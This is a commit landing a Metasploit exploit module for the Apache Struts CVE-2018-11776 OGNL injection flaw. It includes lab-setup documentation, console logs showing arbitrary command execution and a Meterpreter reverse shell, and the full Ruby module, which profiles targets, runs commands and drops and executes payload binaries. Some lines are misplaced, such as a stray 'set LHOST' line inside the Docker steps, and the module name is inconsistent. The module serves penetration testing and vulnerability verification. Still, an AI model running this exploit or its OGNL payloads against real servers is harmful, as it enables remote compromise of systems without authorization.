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Land #10546, Add Apache Struts exploit: CVE-2018-11776

GSoC/Meterpreter_Web_Console
Wei Chen 2018-09-07 14:54:23 -05:00
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documentation/modules/exploit/multi/http/struts2_namespace_ognl.md Normal file
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CVE-2018-11776 is a critical vulnerability in the way Apache Struts2 handles namespaces and redirection, which permits an attacker to execute [OGNL(https://commons.apache.org/proper/commons-ognl/language-guide.html) remotely. Using OGNL, the attacker can modify files and execute commands.
The vulnerability was reported to Apache by [Man Yue Mo] from Semmle in April 2018. It was widely publicized in August 2018, with PoCs appearing shortly thereafter.
## Vulnerable Application
The Struts showcase app, with a slight adaptation to introduce the vulnerability, works reliabliy as a practice environment.
*@hook-s3c* did an amazing job with [their writeup](https://github.com/hook-s3c/CVE-2018-11776-Python-PoC/blob/master/README.md), which I'll include exerpts of here:
1. From a stock Ubuntu VM, install docker:
```
sudo apt update && sudo apt install docker.io
```
2. Download a vulnerable Struts showcase application inside a docker container:
```
sudo docker pull piesecurity/apache-struts2-cve-2017-5638
sudo docker run -d --name struts2 -p 32771:8080 piesecurity/apache-struts2-cve-2017-5638
CONTAINER_ID=`sudo docker ps -l -q`
```
3. Now that the container is running, open a terminal inside of it:
```
sudo docker exec -it $CONTAINER_ID /bin/bash
```
4. From within the container, install your text editor of choice and modify the Struts configs:
```
sudo apt update && sudo apt install nano
nano /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml
```
5. Update the struts config to add this to above line #11:
```
<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
```
6. Update the same struts config file to add this above line #78:
```
<action name="help">
<result type="redirectAction">
<param name="actionName">date.action</param>
</result>
</action>
```
7. Still within the container, shutdown the environment:
```
/usr/local/tomcat/bin/shutdown.sh
```
8. Upon completion, the container will shutdown and you'll return to the host environment. Restart the container, now with a vulnerable endpoint:
msf5 exploit(multi/http/struts2_namespace_ognl) > set LHOST 192.168.199.134
```
sudo docker start $CONTAINER_ID
```
Congratulations. You now have a vulnerable Struts server. If you're following these instructions, your server should be listening on 0.0.0.0:32771. To confirm:
```
INTERFACE=`ip route list 0.0.0.0/0 | cut -d' ' -f5`
IPADDRESS=`ip addr show $INTERFACE | grep -Po 'inet \K[\d.]+'`
PORT_NUM=`sudo docker port $CONTAINER_ID | sed 's/.*://'`
echo "Struts container is listening on $IPADDRESS:$PORT_NUM"
```
## Verification Steps
Confirm that check functionality works:
- [ ] Install the application using the steps above.
- [ ] Start msfconsole.
- [ ] Load the module: ```use exploit/multi/http/struts_namespace_rce```
- [ ] Set the RHOST.
- [ ] Set an invalid ACTION: ```set ACTION wrong.action```
- [ ] Confirm the target is *not* vulnerable: ```check```
- [ ] Observe that the target is *not* vulnerable: ```The target is not exploitable.```
- [ ] Set a valid ACTION: ```set ACTION help.action```
- [ ] Confirm that the target is vulnerable: ```The target is vulnerable.```
Confirm that command execution functionality works:
- [ ] Set a payload: ```set PAYLOAD cmd/unix/generic```
- [ ] Set a command to be run: ```set CMD hostname```
- [ ] Run the exploit: ```run```
- [ ] Confirm the output is the container ID of your docker environment, e.g: ```b3d9b350d9b6```
- [ ] You will not be given a shell (yet).
Confirm that payload upload and execution works:
- [ ] Set a payload, e.g.: ```set PAYLOAD linux/x64/meterpreter/reverse_tcp```
- [ ] Configure `LHOST` and `RHOST` as necessary.
- [ ] Run the exploit: ```run```
msf5 exploit(multi/http/struts2_namespace_ognl) > set LHOST 192.168.199.134
## Options
**TARGETURI**
The path to the struts application. Note that this does not include the endpoint. In the environment above, the path is `/`.
**ACTION**
The endpoint name. In the environment above, the endpoint is `help.action`.
## Scenarios
### Version of software and OS as applicable
Checking a vulnerable endpoint, as installed in the above steps:
```
msf > use exploit/multi/http/struts_namespace_rce
msf5 exploit(multi/http/struts_namespace_rce) > set RHOSTS 192.168.199.135
msf5 exploit(multi/http/struts_namespace_rce) > set RPORT 32771
msf5 exploit(multi/http/struts_namespace_rce) > set ACTION help.action
ACTION => help.action
msf5 exploit(multi/http/struts_namespace_rce) > check
[+] 192.168.199.135:32771 The target is vulnerable.
```
Running an arbitrary command on the above-described environment:
```
msf5 exploit(multi/http/struts_namespace_rce) > set VERBOSE true
msf5 exploit(multi/http/struts_namespace_rce) > set PAYLOAD cmd/unix/generic
PAYLOAD => cmd/unix/generic
msf5 exploit(multi/http/struts_namespace_rce) > set CMD hostname
CMD => hostname
msf5 exploit(multi/http/struts_namespace_rce) > run
[*] Submitted OGNL: (#_memberAccess['allowStaticMethodAccess']=true).(#cmd='hostname').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())
[*] Command ran. Output from command:
b3d9b350d9b6
[*] Exploit completed, but no session was created.
msf5 exploit(multi/http/struts_namespace_rce) >
```
Getting a Meterpreter session on the above-described environment:
```
msf5 > use exploit/multi/http/struts2_namespace_ognl
msf5 exploit(multi/http/struts2_namespace_ognl) > set ACTION help.action
msf5 exploit(multi/http/struts2_namespace_ognl) > set RHOSTS 192.168.199.135
msf5 exploit(multi/http/struts2_namespace_ognl) > set RPORT 32771
msf5 exploit(multi/http/struts2_namespace_ognl) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
msf5 exploit(multi/http/struts2_namespace_ognl) > set LHOST 192.168.199.134
msf5 exploit(multi/http/struts2_namespace_ognl) > run
[*] Started reverse TCP handler on 192.168.199.134:4444
[+] Target profiled successfully: Linux 4.4.0-112-generic amd64, running as root
[+] Payload successfully dropped and executed.
[*] Sending stage (816260 bytes) to 192.168.199.135
[*] Meterpreter session 1 opened (192.168.199.134:4444 -> 192.168.199.135:47482) at 2018-08-31 13:15:22 -0500
meterpreter >
```

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modules/exploits/multi/http/struts2_namespace_ognl.rb Normal file
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
# Eschewing CmdStager for now, since the use of '\' and ';' are killing me
#include Msf::Exploit::CmdStager # https://github.com/rapid7/metasploit-framework/wiki/How-to-use-command-stagers
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts 2 Namespace Redirect OGNL Injection',
'Description' => %q{
This module exploits a remote code execution vulnerability in Apache Struts
version 2.3 - 2.3.4, and 2.5 - 2.5.16. Remote Code Execution can be performed
via an endpoint that makes use of a redirect action.
Native payloads will be converted to executables and dropped in the
server's temp dir. If this fails, try a cmd/* payload, which won't
have to write to the disk.
},
#TODO: Is that second paragraph above still accurate?
'Author' => [
'Man Yue Mo', # Discovery
'hook-s3c', # PoC
'asoto-r7', # Metasploit module
'wvu' # Metasploit module
],
'References' => [
['CVE', '2018-11776'],
['URL', 'https://lgtm.com/blog/apache_struts_CVE-2018-11776'],
['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-057'],
['URL', 'https://github.com/hook-s3c/CVE-2018-11776-Python-PoC'],
],
'Privileged' => false,
'Targets' => [
[
'Automatic detection', {
'Platform' => %w{ unix windows linux },
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
},
],
[
'Windows', {
'Platform' => %w{ windows },
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
},
],
[
'Linux', {
'Platform' => %w{ unix linux },
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/generic'}
},
],
],
'DisclosureDate' => 'Aug 22 2018', # Private disclosure = Apr 10 2018
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'A valid base path to a struts application', '/' ]),
OptString.new('ACTION', [ true, 'A valid endpoint that is configured as a redirect action', 'showcase.action' ]),
OptString.new('ENABLE_STATIC', [ true, 'Enable "allowStaticMethodAccess" before executing OGNL', true ]),
]
)
register_advanced_options(
[
OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ]),
OptString.new('HEADER', [ true, 'The HTTP header field used to transport the optional payload', "X-#{rand_text_alpha(4)}"] ),
OptString.new('TEMPFILE', [ true, 'The temporary filename written to disk when executing a payload', "#{rand_text_alpha(8)}"] ),
]
)
end
def check
# METHOD 1: Try to extract the state of hte allowStaticMethodAccess variable
ognl = "#_memberAccess['allowStaticMethodAccess']"
resp = send_struts_request(ognl)
# If vulnerable, the server should return an HTTP 302 (Redirect)
# and the 'Location' header should contain either 'true' or 'false'
if resp && resp.headers['Location']
output = resp.headers['Location']
vprint_status("Redirected to: #{output}")
if (output.include? '/true/')
print_status("Target does *not* require enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'false'")
datastore['ENABLE_STATIC'] = false
CheckCode::Vulnerable
elsif (output.include? '/false/')
print_status("Target requires enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'true'")
datastore['ENABLE_STATIC'] = true
CheckCode::Vulnerable
else
CheckCode::Safe
end
elsif resp && resp.code==400
# METHOD 2: Generate two random numbers, ask the target to add them together.
# If it does, it's vulnerable.
a = rand(10000)
b = rand(10000)
c = a+b
ognl = "#{a}+#{b}"
resp = send_struts_request(ognl)
if resp.headers['Location'].include? c.to_s
vprint_status("Redirected to: #{resp.headers['Location']}")
print_status("Target does *not* require enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'false'")
datastore['ENABLE_STATIC'] = false
CheckCode::Vulnerable
else
CheckCode::Safe
end
end
end
def exploit
case payload.arch.first
when ARCH_CMD
resp = execute_command(payload.encoded)
else
resp = send_payload()
end
end
def encode_ognl(ognl)
# Check and fail if the command contains the follow bad characters:
# ';' seems to terminates the OGNL statement
# '/' causes the target to return an HTTP/400 error
# '\' causes the target to return an HTTP/400 error (sometimes?)
# '\r' ends the GET request prematurely
# '\n' ends the GET request prematurely
# TODO: Make sure the following line is uncommented
bad_chars = %w[; \\ \r \n] # and maybe '/'
bad_chars.each do |c|
if ognl.include? c
print_error("Bad OGNL request: #{ognl}")
fail_with(Failure::BadConfig, "OGNL request cannot contain a '#{c}'")
end
end
# The following list of characters *must* be encoded or ORNL will asplode
encodable_chars = { "%": "%25", # Always do this one first. :-)
" ": "%20",
"\"":"%22",
"#": "%23",
"'": "%27",
"<": "%3c",
">": "%3e",
"?": "%3f",
"^": "%5e",
"`": "%60",
"{": "%7b",
"|": "%7c",
"}": "%7d",
#"\/":"%2f", # Don't do this. Just leave it front-slashes in as normal.
#";": "%3b", # Doesn't work. Anyone have a cool idea for a workaround?
#"\\":"%5c", # Doesn't work. Anyone have a cool idea for a workaround?
#"\\":"%5c%5c", # Doesn't work. Anyone have a cool idea for a workaround?
}
encodable_chars.each do |k,v|
#ognl.gsub!(k,v) # TypeError wrong argument type Symbol (expected Regexp)
ognl.gsub!("#{k}","#{v}")
end
return ognl
end
def send_struts_request(ognl, payload: nil)
=begin #badchar-checking code
pre = ognl
=end
ognl = "${#{ognl}}"
vprint_status("Submitted OGNL: #{ognl}")
ognl = encode_ognl(ognl)
headers = {'Keep-Alive': 'timeout=5, max=1000'}
if payload
vprint_status("Embedding payload of #{payload.length} bytes")
headers[datastore['HEADER']] = payload
end
# TODO: Embed OGNL in an HTTP header to hide it from the Tomcat logs
uri = "/#{ognl}/#{datastore['ACTION']}"
resp = send_request_cgi(
#'encode' => true, # this fails to encode '\', which is a problem for me
'uri' => uri,
'method' => datastore['HTTPMethod'],
'headers' => headers
)
if resp && resp.code == 404
fail_with(Failure::UnexpectedReply, "Server returned HTTP 404, please double check TARGETURI and ACTION options")
end
=begin #badchar-checking code
print_status("Response code: #{resp.code}")
#print_status("Response recv: BODY '#{resp.body}'") if resp.body
if resp.headers['Location']
print_status("Response recv: LOC: #{resp.headers['Location'].split('/')[1]}")
if resp.headers['Location'].split('/')[1] == pre[1..-2]
print_good("GOT 'EM!")
else
print_error(" #{pre[1..-2]}")
end
end
=end
resp
end
def profile_target
# Use OGNL to extract properties from the Java environment
properties = { 'os.name': nil, # e.g. 'Linux'
'os.arch': nil, # e.g. 'amd64'
'os.version': nil, # e.g. '4.4.0-112-generic'
'user.name': nil, # e.g. 'root'
#'user.home': nil, # e.g. '/root' (didn't work in testing)
'user.language': nil, # e.g. 'en'
#'java.io.tmpdir': nil, # e.g. '/usr/local/tomcat/temp' (didn't work in testing)
}
ognl = ""
ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
ognl << %Q|('#{rand_text_alpha(2)}')|
properties.each do |k,v|
ognl << %Q|+(@java.lang.System@getProperty('#{k}'))+':'|
end
ognl = ognl[0...-4]
r = send_struts_request(ognl)
if r.code == 400
fail_with(Failure::UnexpectedReply, "Server returned HTTP 400, consider toggling the ENABLE_STATIC option")
elsif r.headers['Location']
# r.headers['Location'] should look like '/bILinux:amd64:4.4.0-112-generic:root:en/help.action'
# Extract the OGNL output from the Location path, and strip the two random chars
s = r.headers['Location'].split('/')[1][2..-1]
if s.nil?
# Since the target didn't respond with an HTTP/400, we know the OGNL code executed.
# But we didn't get any output, so we can't profile the target. Abort.
return nil
end
# Confirm that all fields were returned, and non include extra (:) delimiters
# If the OGNL fails, we might get a partial result back, in which case, we'll abort.
if s.count(':') > properties.length
print_error("Failed to profile target. Response from server: #{r.to_s}")
fail_with(Failure::UnexpectedReply, "Target responded with unexpected profiling data")
end
# Separate the colon-delimited properties and store in the 'properties' hash
s = s.split(':')
i = 0
properties.each do |k,v|
properties[k] = s[i]
i += 1
end
print_good("Target profiled successfully: #{properties[:'os.name']} #{properties[:'os.version']}" +
" #{properties[:'os.arch']}, running as #{properties[:'user.name']}")
return properties
else
print_error("Failed to profile target. Response from server: #{r.to_s}")
fail_with(Failure::UnexpectedReply, "Server did not respond properly to profiling attempt.")
end
end
def execute_command(cmd_input, opts={})
# Semicolons appear to be a bad character in OGNL. cmdstager doesn't understand that.
if cmd_input.include? ';'
print_warning("WARNING: Command contains bad characters: semicolons (;).")
end
begin
properties = profile_target
os = properties[:'os.name'].downcase
rescue
vprint_warning("Target profiling was unable to determine operating system")
os = ''
os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win'
os = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux'
os = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix'
end
if (os.include? 'linux') || (os.include? 'nix')
cmd = "{'sh','-c','#{cmd_input}'}"
elsif os.include? 'win'
cmd = "{'cmd.exe','/c','#{cmd_input}'}"
else
vprint_error("Failed to detect target OS. Attempting to execute command directly")
cmd = cmd_input
end
# The following OGNL will run arbitrary commands on Windows and Linux
# targets, as well as returning STDOUT and STDERR. In my testing,
# on Struts2 in Tomcat 7.0.79, commands timed out after 18-19 seconds.
vprint_status("Executing: #{cmd}")
ognl = ""
ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
ognl << %Q|(#p=new java.lang.ProcessBuilder(#{cmd})).|
ognl << %q|(#p.redirectErrorStream(true)).|
ognl << %q|(#process=#p.start()).|
ognl << %q|(#r=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).|
ognl << %q|(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#r)).|
ognl << %q|(#r.flush())|
r = send_struts_request(ognl)
if r && r.code == 200
print_good("Command executed:\n#{r.body}")
elsif r
if r.body.length == 0
print_status("Payload sent, but no output provided from server.")
elsif r.body.length > 0
print_error("Failed to run command. Response from server: #{r.to_s}")
end
end
end
def send_payload
# Probe for the target OS and architecture
begin
properties = profile_target
os = properties[:'os.name'].downcase
rescue
vprint_warning("Target profiling was unable to determine operating system")
os = ''
os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win'
os = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux'
os = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix'
end
data_header = datastore['HEADER']
if data_header.empty?
fail_with(Failure::BadConfig, "HEADER parameter cannot be blank when sending a payload")
end
random_filename = datastore['TEMPFILE']
# d = data stream from HTTP header
# f = path to temp file
# s = stream/handle to temp file
ognl = ""
ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
ognl << %Q|(#d=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{data_header}')).|
ognl << %Q|(#f=@java.io.File@createTempFile('#{random_filename}','tmp')).|
ognl << %q|(#f.setExecutable(true)).|
ognl << %q|(#f.deleteOnExit()).|
ognl << %q|(#s=new java.io.FileOutputStream(#f)).|
ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#d)).|
ognl << %q|(#s.write(#d)).|
ognl << %q|(#s.close()).|
ognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).|
ognl << %q|(#p.start()).|
ognl << %q|(#f.delete()).|
success_string = rand_text_alpha(4)
ognl << %Q|('#{success_string}')|
exe = [generate_payload_exe].pack("m").delete("\n")
r = send_struts_request(ognl, payload: exe)
if r && r.headers && r.headers['Location'].split('/')[1] == success_string
print_good("Payload successfully dropped and executed.")
elsif r && r.headers['Location']
vprint_error("RESPONSE: " + r.headers['Location'])
fail_with(Failure::PayloadFailed, "Target did not successfully execute the request")
elsif r && r.code == 400
fail_with(Failure::UnexpectedReply, "Target reported an unspecified error while executing the payload")
end
end
end